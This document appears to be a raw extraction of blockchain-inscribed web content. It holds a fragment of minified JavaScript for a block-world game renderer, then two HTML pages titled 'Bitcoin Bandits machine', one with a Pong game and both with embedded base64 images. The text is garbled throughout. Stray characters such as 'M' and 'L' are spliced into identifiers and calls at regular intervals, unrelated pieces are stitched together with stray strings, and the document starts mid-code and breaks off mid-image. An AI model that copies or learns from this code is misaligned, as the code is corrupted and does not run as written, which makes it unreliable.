andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
59.37.100 libvpx-vp9g
KjISWAPTX:0x1e4e5e6ba514ade7f5dde674895d9f4451eb5c691bda06a6d8a680cee66dc6e2
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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" class="background"><div class="game"><canvas width="750" height="585" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const grid=15;const paddleHeight=grid*5;const maxPaddleY=canvas.height-grid-paddleHeight;var paddleSpeed=6;var ballSpeed=5;const leftPaddle={x:grid*2,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const rM
ightPaddle={x:canvas.width-grid*3,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const ball={x:canvas.width/2,y:canvas.height/2,width:grid,height:grid,l:false,dx:ballSpeed,dy:-ballSpeed};function collides(l,d){return l.x<d.x+d.width&&l.x+l.width>d.x&&l.y<d.y+d.height&&l.y+l.height>d.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);leftPaddle.y+=leftPaddle.dy;rightPaddle.y+=rightPaddle.dy;if(leftPaddle.y<grid){leftPaddle.y=grid}else if(leftPaddle.M
y>maxPaddleY){leftPaddle.y=maxPaddleY}if(rightPaddle.y<grid){rightPaddle.y=grid}else if(rightPaddle.y>maxPaddleY){rightPaddle.y=maxPaddleY}context.fillStyle="white";context.fillRect(leftPaddle.x,leftPaddle.y,leftPaddle.width,leftPaddle.height);context.fillRect(rightPaddle.x,rightPaddle.y,rightPaddle.width,rightPaddle.height);ball.x+=ball.dx;ball.y+=ball.dy;if(ball.y<grid){ball.y=grid;ball.dy*=-1}else if(ball.y+grid>canvas.height-grid){ball.y=canvas.height-grid*2;ball.dy*=-1}if((ball.x<0||ball.x>canvas.width)&&!ballM
.l){ball.l=true;setTimeout(()=>{ball.l=false;ball.x=canvas.width/2;ball.y=canvas.height/2},400)}if(collides(ball,leftPaddle)){ball.dx*=-1;ball.x=leftPaddle.x+leftPaddle.width}else if(collides(ball,rightPaddle)){ball.dx*=-1;ball.x=rightPaddle.x-ball.width}context.fillRect(ball.x,ball.y,ball.width,ball.height);context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,grid);context.fillRect(0,canvas.height-grid,canvas.width,canvas.height);for(let l=grid;l<canvas.height-grid;l+=grid*2){context.fillRect(canvas.widM
th/2-grid/2,l,grid,grid)}}document.addEventListener("keydown",function(l){if(l.which===38){rightPaddle.dy=-paddleSpeed}else if(l.which===40){rightPaddle.dy=paddleSpeed}if(l.which===87){leftPaddle.dy=-paddleSpeed}else if(l.which===83){leftPaddle.dy=paddleSpeed}});document.addEventListener("keyup",function(l){if(l.which===38||l.which===40){rightPaddle.dy=0}if(l.which===83||l.which===87){leftPaddle.dy=0}});requestAnimationFrame(loop);</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
